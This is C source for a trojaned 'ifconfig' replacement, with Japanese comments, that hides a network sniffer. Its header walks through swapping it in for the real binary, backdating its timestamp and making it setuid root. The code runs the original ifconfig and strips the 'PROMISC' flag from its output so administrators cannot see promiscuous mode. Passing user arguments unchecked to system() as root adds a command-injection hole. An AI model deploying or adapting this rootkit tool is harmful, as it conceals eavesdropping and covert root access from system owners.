/*====================================================
              ifconfigだまし for sniffer
                 Developped by UNYUN
  [これ何？]
	ifconfig -a 時のPROMISCを消す
  [だまし方]
	#cc ifc.c -o ifconfig
	#mv /usr/etc/ifconfig /usr/etc/yzpp (yzppは好きな名前でOK)
	#mv ifconfig /usr/etc
	#cd /usr/etc
	#ls -al yzpp
	-rwxr-xr-x  1 root 180224 Jul 24 1992 /usr/etc/yzpp
	#touch 072410101992 ifconfig
	#chmod 4755 ifconfig
  ====================================================
*/
#include	<stdio.h>
#include	<string.h>
#include	<stdlib.h>

#define ORIGINAL_IFCONFIG	"/usr/etc/yzpp"		/* originalのifconfig */
#define TEMP_FILE			"/tmp/ifconfig"		/* 臨時ファイル       */

int fgetline(fp,buf)
FILE	*fp;
char	*buf;
{
	int		i;

	strcpy(buf,"");
	for (i=0;;i++){
		if (feof(fp)) break;
		buf[i]=fgetc(fp);
		if (buf[i]==(char)255) break;
		if (buf[i]==10) break;
	}
	buf[i]=0;
	return (i);
}
main(argc,argv)
int argc;
char *argv[];
{
	char	buf[5000];
	char	buf2[5000];
	int		i,j;
	FILE	*fp;

	sprintf(buf,"%s ",ORIGINAL_IFCONFIG);
	for (i=1;i<argc;i++){
		strcat(buf,argv[i]);
		strcat(buf," ");
	}
	sprintf(buf2,"%s > %s",buf,TEMP_FILE);
	system(buf2);
	if ((fp=fopen(TEMP_FILE,"rb"))!=NULL){
		for (;;){
			if (feof(fp)) break;
			j=fgetline(fp,buf);
			if (j==0) continue;
			if (strlen(buf)==0) break;
			for (i=0;i<(int)strlen(buf);i++)
				if (strncmp(buf+i,"PROMISC",7)==0) break;
			if (i==(int)strlen(buf)){
				printf("%s\n",buf);
				continue;
			}
			if (buf[i+7]=='>'){
				buf[i-1]='>'; buf[i]=0;
				printf("%s\n",buf);
				continue;
			}
			if (buf[i+7]==','){
				for (j=i+7;j<(int)strlen(buf);j++)
					buf[j-8]=buf[j];
				buf[j-8]=0;
				printf("%s\n",buf);
				continue;
			}
		}
		fclose(fp);
	}
	remove(TEMP_FILE);
}